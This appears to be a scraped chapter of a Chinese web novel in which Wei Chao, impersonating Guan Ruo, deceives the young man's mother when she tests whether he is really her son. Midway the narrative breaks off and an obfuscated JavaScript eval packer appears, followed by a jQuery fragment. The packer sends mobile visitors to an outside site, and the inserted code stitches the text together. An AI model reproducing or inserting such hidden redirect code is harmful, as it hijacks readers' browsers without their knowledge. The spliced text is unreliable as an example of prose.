文趣网 > 都市小说 > 欲碾金枝 > 12. 家道中落
    一路上魏朝都面无表情,直到瞧见四六才微微勾唇。

    男子平躺上床榻,一动不动。

    “也没喝酒啊?”

    四六心下怪异,摩挲着下巴嘶了声,“公子怎么会在外面就睡着了?”

    魏朝没说话,自顾自走到案前,轻轻拨开香炉。

    鼻尖渗入丝丝香气,四六微眯着眼,抓住他手腕,声线冷淡下来,“你手里拿的是什么?”

    “是不是觉得双目失神有些犯困?”

    那叠粉末洒落,魏朝抬眼瞧他,张嘴便扯,“这是我调的专门安神的香,是正常的,前辈不用担心。”

    “我没记错的话,您也很久没睡好了,不是吗?”

    四六一怔,不自觉收了手,眉头微皱半天又舒展开。

    “还真是!”

    才貌俱佳精通多门手艺,四六觉得沈梵捡到宝了,于是深吸口气睁圆眼,憋了半天才道:“关若你简直是个天才!”

    魏朝没再谦虚,勾唇轻笑。

    一阵拉扯过后,四六叮嘱他好好照顾沈梵,便拿剑转身离开。

    魏朝速度极快,几下替人掖好被角,又替他整理书案。

    悄无声息关掉门窗,穿过走廊来到偏殿。

    一男子嗓音低沉,“眼下端王禁足宫中,穆氏家主及长子被召久久不返,公子也频频进宫、大概不会发生什么好事。”

    透过狭窄门缝,他能看到两人正对坐,都抿唇面色不爽。

    “可不是嘛?”

    四六一拍大腿,极其流利吐槽,“听说人证物证俱在,穆长泽还不认罪呢。”

    “他不遭殃谁遭殃?”

    “说的也是。”

    三七轻啧一声,“难不成陛下放着现成的不查,反而拿千里之外的关家开刀?这未免太荒谬了吧?”

    四六下巴抬得老高,开始摇头晃脑,“孺子可教也~”

    心中大石落地,魏朝轻轻勾唇,又回去装模做样照顾沈梵。

    白云被染红一片,卷成团儿往前翻滚。

    魏朝放下方帕,正欲起身却被拉住。

    沈梵紧闭双眼,嘴里咕噜什么他没听清,思绪却是实打实被打断了,费尽心思一顿才安抚好。

    沈梵送他的宅子很小,除了两间主房只剩三间客房。

    等他回去时,两名少年已经烧好饭菜,正往院中搬。

    “公子回来啦?”

    见他踏门而入,有一少年扭头,声线面庞都很稚嫩,笑起来两腮鼓起酒窝,看上去还算可爱。

    “嗯。”

    魏朝扭扭脖子,褪去外衣挂好,随意瞥了眼。

    都是些家常菜。

    少年腼腆一笑,有些不好意思挠头,“因为公子这段时间都没在家吃饭,我和阿忍便没留您的,所以——”

    话音未落却被打断。

    “我不饿。”

    撂下这句话,魏朝头也不回进了房间。

    两名少年面面厮觑,却迟没动筷。

    踌躇之间,大门哐当作响。

    被称作阿忍的少年起身,一言不发上前。

    魏朝本来撑头思索,却听外面一阵动静,有人喊他,“公子。”

    “关公子!”

    他没回应,酒窝少年更起劲了,不停敲他房门,“外面有个妇人找你。”

    刷啦一下。

    魏朝眉心微皱,正欲开口又睁大眼。

    “娘?”

    月光下,妇人面庞消瘦很多,却依旧端正秀丽。

    他伸手揽过行李,三两下便搬到院中,又整整齐齐码好了,看上去勤快极了,一点没有之前那副不耐之色。

    两人并坐上塌,魏朝垂眸转了几圈眼珠,率先开口,“孩儿给您写的信,您看了吗?”

    “我看了,也想回信。”

    妇人轻轻晃头,停顿片刻道:“可刚写好就被撕掉了。”

    发丝杂乱不少,皮肤也有些泛黄,看上去比上次见面苍老许多。

    魏朝微眯双眼,“是谁?”

    “父亲?还是大哥?”

    “他们还对你做了什么?”

    一套丝滑小连招下来,魏朝眉毛下压紧抿双唇,看上去担心极了。

    “他们不让我出门,也不让我和别人说话,除此之外也没别的了。”

    妇人低头瞧着自己掌心,抬眼间又有些愧疚,“后来,我的手伤了,也没办法写字了。”

    魏朝伸手,一把撩起她衣袖。

    妇人手臂痕迹斑驳,一看便是又添了新伤。

    魏朝轻叹口气,眼中升起一丝怒火,几乎是从牙缝里钻出字眼,“他们又这么对你?”

    手臂触电般缩回,妇人咬住下唇,半天也没开口。

    “都是孩儿不好,早在回去那日,就该接走您。”

    深吸口气吐出,魏朝捧起妇人手掌,拿下巴轻轻蹭着,像在抚平那些伤疤,“阿若本来想等羽翼丰满再让您享福,没想到……”

    “不,不是你的错。”

    妇人伸手撩开他额间发丝,目光带了丝怜惜,“有这颗心就够了,娘相信你是好孩子。”

    说着,她掌心向下,轻拍魏朝脑袋。

    魏朝抬眼甜甜笑着,鼻尖却有些酸了。

    谈论间,他知晓了妇人此次来京的缘由。

    穆氏落网,关家作为同盟难辞其咎,没过多久也被打入大牢等待审问。

    三娘作为一介女流,早早嫁人身无长处,只能投奔自己乖巧能干的孩子。

    月光洒落各地,几人围坐院中石桌。

    妇人放下碗筷,忽地扭头,“对了阿若,这套宅子是?”

    指尖捏了块糕点,他凑近鼻尖,只是嗅了两下道:“公子赐给我的。”

    说这话时,他眯眼笑着,倒像极了陷入甜蜜的小男孩。

    果不其然,妇人眨巴两下眼睛,“沈公子真是个好人,改天娘也得去好好谢谢他。”

    魏朝勾唇,像是慢了半拍,好会才应和她。

    没过多久,眼前满当当摆了一碗,有肉有菜、色相俱全。

    妇人笑弯眼睛,冲他抬抬下巴,“阿若,你怎么不吃啊?”

    呵。

    饭菜看着寻常,却动了手脚。

    眼前女子手无寸铁、面色无害,谁又能想到她怀有如此心思?

    为了检验他是不是真的关若,竟然在每道菜里都放了鸡蛋末。

    还在兖州时,他可是亲眼见过关若过敏的。

    皮肤瘙痒发红,呼吸不畅,红着眼眶喘得上气不接下气。

    作为母亲,她当然比自己更了解关若。

    魏朝眼神一暗。

    忽的,他捂住双唇,眼中挤满泪花。

    女子温和一笑,“怎么了?”

    魏朝嗓音黏糊,站起身来假装用力睁眼,“没什么,就是有点困了。”

    女人眉心微皱,也放下筷子,盯着他背影久久没回头。

    双手端正摆着,魏朝双目紧闭,却集中精神听里外动静。

    不出所料,眼前压下一片黑影,女人伸出指尖抚上他脸。

    马上抵达眼角,他轻哼一声,极其自然翻了过去。

    女人半天没有动作,只是坐在床边,似乎没有离开的意思。

    又过了许久,女子手臂覆盖住他的,迟疑片刻道:“阿若,真的是你吗?你没有抛弃娘?”

    魏朝侧躺着,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645353|206786||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还是没有动弹。

    微风吹进室内,平添了丝凉气。

    女人深吸口气,替他掖好被角便起身,正抬腿便被拉住。

    “娘……”

    少年满目湿润,紧紧扣住她手腕,嗓音带了哭腔,“我很听话的,你别不要我……”

    女人身体就此僵住,不知多久才回握住他的手,轻轻拍几下,又温声细语哄他,“娘不走,娘最喜欢阿若了。”

    关三娘全身都颤抖着,断断续续开口,“娘不能再失去你了。”

    ……

    明月高高升起,魏朝睁开眼坐直,面色依旧平静。

    向下望去,女人伏在床前,压住他一条手臂,发出的呼吸均匀又平稳。

    曾几何时,他也这样依偎在阿娘身边,伸手抓住拨浪鼓麦穗玩,甚至经常嘿嘿笑着就掉下去了。

    女子连忙把他捞起抱住,眼神温柔得化成一滩水,一遍又一遍唤他。

    又吓唬他说:“阿朝别哭,小心晚上被小鬼缠上。”

    他彼时虽然很小,却意外的不怕鬼神,一扬拳头挥向空中,又回头信誓旦旦,说自己保护阿娘。

    燕厘被他逗笑,细白手指便伸来掐他脸蛋。

    “阿朝这么厉害?”

    女子笑声清脆,“拿什么保护阿娘啊?”

    “阿爹阿叔都会功夫,我很快也会学会。”

    小朝胡乱比划几下,见她仍嘴角噙笑便急了,扑腾半天施展也更加卖力,“阿朝不说谎,有我在,阿娘一定能平平安安过一辈子。”

    “好好好,阿娘相信你。”

    燕厘伸手抓住他乱动的手指,额头与他相抵,“我们阿朝呀,一定是世上最能干的人。”

    指尖拨弄着那只玉佩,他再次望向窗外,无声笑了。

    翌日一早,关三娘就被香醒了。

    少年在厨房忙来忙去,转身时脸蛋子沾上锅灰,眼睛却亮亮的,像小狗一样。

    手指在袖中攥紧,她咬住下唇,跨了过去。

    “您醒啦?”

    魏朝额间渗出汗,却仍端起只碟子凑到她面前。

    松子百合酥,因形状得名,温阳滋补,对女性来说是极好的。

    “阿若记得以前娘喜欢吃这个,所以就买了。”

    魏朝伸手拿起一块,唇角勾起笑弯眼,“快尝尝,是不是之前的味道?”

    就着他手咬下一点,妇人捂唇,睁大眼,又轻叹口气拿手帕替他擦汗,“傻孩子。”

    “百合酥工艺复杂又昂贵,何必为了为娘跑一趟呢?”

    “阿若运气好。”

    魏朝眼珠一转,清嗓开始胡扯,“刚到就有了。”

    许是想起往事,关三娘眼眶微微发红,伸手紧紧抱住他。

    魏朝轻拍她背,眼神暗淡下来。

    这几日借陪关三娘之由,他都没怎么往沈府跑。

    沈梵或忙于朝堂之事或碍于面子,也没派人来专程请他。

    魏朝倒是怡然自得,都和厉家兄弟打成一片了。

    彼时院中摆了几副座椅,他斜躺着,侧头听妇人讲。

    一会东厢一会西厢,三十年死狗四十年死猫,关三娘滔滔不绝。

    魏朝面上噙笑,背地里却在思索。

    直到咚咚声响起,大门向内打开。

    一小厮高声喊道:“关公子可在?”

    “我在。”

    魏朝回神,上前垂眸,与之对上视线,“请问你们是?”

    后侧男子掏出令牌,冲他颔首,言简意赅,“太傅找您有事。”

    现在这个关键节点,沈澜找他干什么?

    心里打鼓,魏朝应了声,便借换衣之由往屋里走去。